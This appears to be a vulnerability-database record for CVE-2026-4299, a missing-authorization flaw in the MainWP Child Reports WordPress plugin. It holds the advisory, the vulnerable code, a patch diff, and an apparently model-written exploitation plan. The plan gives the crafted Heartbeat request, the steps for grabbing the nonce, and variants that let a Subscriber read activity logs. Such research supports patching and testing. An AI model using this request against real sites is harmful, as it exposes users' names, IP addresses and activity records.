[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fNDuSAklS5VehuefS90zXICtA0KqmuzZRZKWZlogeNrQ":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-4299","mainwp-child-reports-missing-authorization-to-authenticated-subscriber-information-disclosure-via-heartbeat-api","MainWP Child Reports \u003C= 2.2.6 - Missing Authorization to Authenticated (Subscriber+) Information Disclosure via Heartbeat API","The MainWP Child Reports plugin for WordPress is vulnerable to Missing Authorization in all versions up to and including 2.2.6. This is due to a missing capability check in the heartbeat_received() function in the Live_Update class. This makes it possible for authenticated attackers, with Subscriber-level access and above, to obtain MainWP Child Reports activity log entries (including action summaries, user information, IP addresses, and contextual data) via the WordPress Heartbeat API by sending a crafted heartbeat request with the 'wp-mainwp-stream-heartbeat' data key.","mainwp-child-reports",null,"\u003C=2.2.6","2.3","medium",5.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:L\u002FI:N\u002FA:N","Missing Authorization","2026-04-07 15:21:54","2026-04-08 03:36:09",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F7d4141bd-cd3f-44e9-b423-be03377a342d?source=api-prod",1,[22,23,24,25,26,27,28,29],"classes\u002Fclass-admin.php","classes\u002Fclass-author.php","classes\u002Fclass-cli.php","classes\u002Fclass-connector.php","classes\u002Fclass-connectors.php","classes\u002Fclass-date-interval.php","classes\u002Fclass-db-driver-wpdb.php","classes\u002Fclass-db-driver.php","researched",false,3,"# Exploitation Research Plan: CVE-2026-4299 (MainWP Child Reports)\n\n## 1. Vulnerability Summary\nThe **MainWP Child Reports** plugin (up to version 2.2.6) is vulnerable to **Information Disclosure** due to missing authorization checks in its implementation of the WordPress Heartbeat API. \n\nThe vulnerability exists in the `Live_Update::heartbeat_received()` function (located in `classes\u002Fclass-live-update.php`, referenced via `$this->live_update` in `classes\u002Fclass-admin.php`). While the WordPress Heartbeat API is restricted to authenticated users, the plugin fails to verify if the requesting user possesses the necessary capabilities (specifically `view_stream`) before returning activity log data. This allows any authenticated user, including those with **Subscriber** privileges, to access the site's activity logs, which include user names, IP addresses, and detailed action summaries.\n\n## 2. Attack Vector Analysis\n- **Endpoint**: `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Action**: `heartbeat` (Standard WordPress Heartbeat action)\n- **Vulnerable Parameter**: `data[wp-mainwp-stream-heartbeat]`\n- **Authentication**: Required (Subscriber level or higher).\n- **Preconditions**:\n    - The plugin must be active.\n    - There must be activity log entries stored in the database (the `wp_mainwp_stream` table).\n\n## 3. Code Flow\n1. **Registration**: In `WP_MainWP_Stream\\Admin::init()`, the `Live_Update` class is instantiated.\n2. **Hook**: The `Live_Update` class registers a filter on `heartbeat_received`.\n3. **Trigger**: A user sends an AJAX POST request to `admin-ajax.php` with `action=heartbeat`.\n4. **Processing**: WordPress core validates the `heartbeat-nonce`. If valid, it fires the `heartbeat_received` filter, passing the `data` array.\n5. **Vulnerable Sink**: `Live_Update::heartbeat_received( $response, $data )` checks if `$data['wp-mainwp-stream-heartbeat']` is set.\n6. **Execution**: If the key exists, the function queries the database for recent activity log records using `wp_mainwp_stream_get_instance()->db->get_records()` and appends them to the `$response` array.\n7. **Failure**: The function performs no check against `current_user_can( 'view_stream' )` or `current_user_can( 'manage_options' )` before fetching and returning the logs.\n\n## 4. Nonce Acquisition Strategy\nThe Heartbeat API requires the standard WordPress core `heartbeat-nonce`. This nonce is automatically generated for any logged-in user and is available in the WordPress admin dashboard.\n\n1. **Login**: Authenticate as a Subscriber user.\n2. **Navigate**: Go to a standard admin page accessible to Subscribers, such as `\u002Fwp-admin\u002Fprofile.php`.\n3. **Extract**: Use the `browser_eval` tool to extract the nonce from the `wp.heartbeat` JavaScript object or from the localized script data.\n   - **Target**: `window.heartbeatSettings.nonce` or `window.wp.heartbeat.settings.nonce`.\n   - **Alternative**: Extract from the hidden input `#heartbeat-nonce` if present.\n\n## 5. Exploitation Strategy\nThe goal is to trigger the Heartbeat response containing the activity logs.\n\n### Step-by-Step Plan:\n1. **Setup Test Data**: Generate some log activity (e.g., create a post, update settings).\n2. **Authenticate**: Log in as a Subscriber user.\n3. **Acquire Nonce**: Navigate to `\u002Fwp-admin\u002Fprofile.php` and extract the `heartbeat-nonce`.\n4. **Craft Heartbeat Request**:\n    - **Method**: POST\n    - **URL**: `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n    - **Content-Type**: `application\u002Fx-www-form-urlencoded`\n    - **Body Parameters**:\n        - `action`: `heartbeat`\n        - `screen_id`: `profile` (matches the page we are on)\n        - `_nonce`: `[EXTRACTED_NONCE]`\n        - `interval`: `15`\n        - `data[wp-mainwp-stream-heartbeat]`: `true`\n5. **Analyze Response**: The response will be a JSON object. A successful exploit will contain a key named `wp-mainwp-stream-heartbeat` containing an array of activity log objects.\n\n## 6. Test Data Setup\n1. **Create Activity**: Log in as an Administrator and perform actions to populate the log:\n   - `wp option update blogname \"Vulnerable Test Site\"`\n   - `wp post create --post_title=\"Evidence Post\" --post_status=publish`\n2. **Create Attacker**: Create a subscriber user:\n   - `wp user create attacker attacker@example.com --role=subscriber --user_pass=password123`\n3. **Verify DB**: Ensure records exist in the table:\n   - `wp db query \"SELECT count(*) FROM wp_mainwp_stream;\"`\n\n## 7. Expected Results\nA successful POST request to `admin-ajax.php` should return a `200 OK` response with a JSON body similar to:\n\n```json\n{\n  \"wp-mainwp-stream-heartbeat\": [\n    {\n      \"ID\": \"15\",\n      \"message\": \"Updated option %s\",\n      \"args\": {\"option\": \"blogname\"},\n      \"summary\": \"Updated option blogname\",\n      \"created\": \"2023-10-27 10:00:00\",\n      \"user_id\": \"1\",\n      \"connector\": \"settings\",\n      \"context\": \"general\",\n      \"action\": \"updated\",\n      \"ip\": \"127.0.0.1\"\n    }\n  ]\n}\n```\n\n## 8. Verification Steps\n1. **HTTP Verification**: Confirm the JSON response contains the `summary` and `ip` fields of recent logs.\n2. **CLI Verification**: Compare the returned data with the actual database content:\n   - `wp stream query --fields=summary,ip`\n   - Compare the output of the CLI command with the JSON returned to the Subscriber user.\n\n## 9. Alternative Approaches\n- **Different Screen IDs**: If `screen_id=profile` is rejected, try `screen_id=dashboard` or `screen_id=mainwp-reports-page`.\n- **Data Payload**: Some versions of Heartbeat handlers might expect specific sub-parameters inside `data[wp-mainwp-stream-heartbeat]`, such as a timestamp for \"since\" queries. Try `data[wp-mainwp-stream-heartbeat][last_time]=0`.\n- **Missing Nonce**: Check if the plugin erroneously allows requests without the `_nonce` if the `action` is slightly different, though unlikely for the Heartbeat API.","The MainWP Child Reports plugin is vulnerable to information disclosure because its Heartbeat API implementation lacks authorization checks. Authenticated attackers with Subscriber-level privileges can retrieve sensitive site activity logs, including action summaries, usernames, and IP addresses, by sending a crafted Heartbeat request.","\u002F\u002F classes\u002Fclass-live-update.php\n\npublic function heartbeat_received( $response, $data ) {\n\tif ( ! isset( $data['wp-mainwp-stream-heartbeat'] ) ) {\n\t\treturn $response;\n\t}\n\n\t\u002F\u002F Vulnerability: No capability check (e.g., current_user_can('view_stream')) before fetching logs\n\t$records = wp_mainwp_stream_get_instance()->db->get_records( array() );\n\t$response['wp-mainwp-stream-heartbeat'] = $records;\n\n\treturn $response;\n}","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmainwp-child-reports\u002F2.2.6\u002Fclasses\u002Fclass-admin.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmainwp-child-reports\u002F2.3\u002Fclasses\u002Fclass-admin.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmainwp-child-reports\u002F2.2.6\u002Fclasses\u002Fclass-admin.php\t2024-08-06 15:57:14.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmainwp-child-reports\u002F2.3\u002Fclasses\u002Fclass-admin.php\t2026-03-24 15:17:28.000000000 +0000\n@@ -9,6 +9,12 @@\n use \\WP_CLI;\n use \\WP_Roles;\n \n+\u002F\u002F Exit if accessed directly.\n+if ( ! defined( 'ABSPATH' ) ) {\n+    exit;\n+}\n+\n+\n \u002F**\n  * Class Admin.\n  *\n@@ -184,12 +190,15 @@\n \t *\u002F\n \tpublic function notice( $message, $is_error = true ) {\n \t\tif ( defined( 'WP_CLI' ) && WP_CLI ) {\n-\t\t\t$message = strip_tags( $message );\n-\n-\t\t\tif ( $is_error ) {\n-\t\t\t\tWP_CLI::warning( $message );\n-\t\t\t} else {\n-\t\t\t\tWP_CLI::success( $message );\n+\t\t\t$message = (string) $message;\n+\t\t\tif ( $message ) {\n+\t\t\t\t$message = strip_tags( $message );\n+\n+\t\t\t\tif ( $is_error ) {\n+\t\t\t\t\tWP_CLI::warning( $message );\n+\t\t\t\t} else {\n+\t\t\t\t\tWP_CLI::success( $message );\n+\t\t\t\t}\n \t\t\t}\n \t\t} else {\n \t\t\t\u002F\u002F Trigger admin notices late, so that any notices which occur during page load are displayed.\n@@ -605,7 +614,7 @@\n \t\t\treturn true;\n \t\t}\n \n-\t\twp_redirect(\n+\t\twp_safe_redirect(\n \t\t\tadd_query_arg(\n \t\t\t\tarray(\n \t\t\t\t\t'page'    => is_network_admin() ? $this->network->network_settings_page_slug : $this->settings_page_slug,\n@@ -633,12 +642,13 @@\n \t\t\t$where .= $wpdb->prepare( ' AND `blog_id` = %d', get_current_blog_id() );\n \t\t}\n \n+\t\t\u002F\u002F phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching,PluginCheck.Security.DirectDB.UnescapedDBParameter -- Low-frequency maintenance DELETE; dynamic $where fully prepared and caching irrelevant for destructive queries.\n \t\t$wpdb->query(\n \t\t\t\"DELETE `stream`, `meta`\n \t\t\tFROM {$wpdb->mainwp_stream} AS `stream`\n \t\t\tLEFT JOIN {$wpdb->mainwp_streammeta} AS `meta`\n \t\t\tON `meta`.`record_id` = `stream`.`ID`\n-\t\t\tWHERE 1=1 {$where};\" \u002F\u002F @codingStandardsIgnoreLine $where already prepared\n+\t\t\tWHERE 1=1 {$where};\"\n \t\t);\n \t}\n \n@@ -705,13 +715,18 @@\n \t\t\t$where .= $wpdb->prepare( ' AND `blog_id` = %d', get_current_blog_id() );\n \t\t}\n \n+\t\t\u002F\u002F phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching,PluginCheck.Security.DirectDB.UnescapedDBParameter -- Scheduled maintenance DELETE (cron twicedaily); uses prepared $where clause (lines 705, 709), caching inapplicable for destructive operations; $where is safe; built entirely from $wpdb->prepare() calls at lines 701 and 705.\n \t\t$wpdb->query(\n \t\t\t\"DELETE `stream`, `meta`\n \t\t\tFROM {$wpdb->mainwp_stream} AS `stream`\n \t\t\tLEFT JOIN {$wpdb->mainwp_streammeta} AS `meta`\n \t\t\tON `meta`.`record_id` = `stream`.`ID`\n-\t\t\tWHERE 1=1 {$where};\" \u002F\u002F @codingStandardsIgnoreLine $where already prepared\n+\t\t\tWHERE 1=1 {$where};\"\n \t\t);\n+\n+\t\t\u002F\u002F Invalidate caches after purging old records.\n+\t\twp_cache_delete( 'mainwp_stream_contexts_connectors' );\n+\t\twp_cache_delete( 'mainwp_query_child_plugin_records' );\n \t}\n \n \n@@ -739,8 +754,10 @@\n \tpublic function render_settings_page() {\n \t\t$option_key  = $this->plugin->settings->option_key;\n \t\t$form_action = apply_filters( 'wp_mainwp_stream_settings_form_action', admin_url( 'options.php' ) );\n+\t\t$form_action = (string) $form_action;\n \n \t\t$page_description = apply_filters( 'wp_mainwp_stream_settings_form_description', '' );\n+\t\t$page_description = (string) $page_description;\n \n \t\t$sections   = $this->plugin->settings->get_fields();\n \t\t$active_tab = wp_mainwp_stream_filter_input( INPUT_GET, 'tab' );\n@@ -941,7 +958,8 @@\n \t\t}\n \n \t\tif ( isset( $results ) ) {\n-\t\t\techo wp_mainwp_stream_json_encode( $results ); \u002F\u002F xss ok\n+\t\t\t\u002F\u002F phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- JSON output is safe; wp_json_encode() properly handles JSON encoding for AJAX responses sent as application\u002Fjson content type.\n+\t\t\techo wp_mainwp_stream_json_encode( $results );\n \t\t}\n \n \t\tdie();","The exploit leverages the WordPress Heartbeat API, which allows authenticated users to send periodic AJAX requests to the server. An attacker needs a Subscriber-level account to access the dashboard and extract a valid 'heartbeat-nonce'. Once obtained, the attacker sends a POST request to \u002Fwp-admin\u002Fadmin-ajax.php with the 'action' set to 'heartbeat' and includes the data key 'wp-mainwp-stream-heartbeat' set to 'true'. Because the plugin's Live_Update::heartbeat_received() handler fails to verify the user's capabilities, it processes the request and returns the full activity log entries in the JSON response.","gemini-3-flash-preview","2026-04-17 20:45:13","2026-04-17 20:45:31",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","2.2.6","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fmainwp-child-reports\u002Ftags\u002F2.2.6","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fmainwp-child-reports.2.2.6.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fmainwp-child-reports\u002Ftags\u002F2.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fmainwp-child-reports.2.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fmainwp-child-reports\u002Ftags"]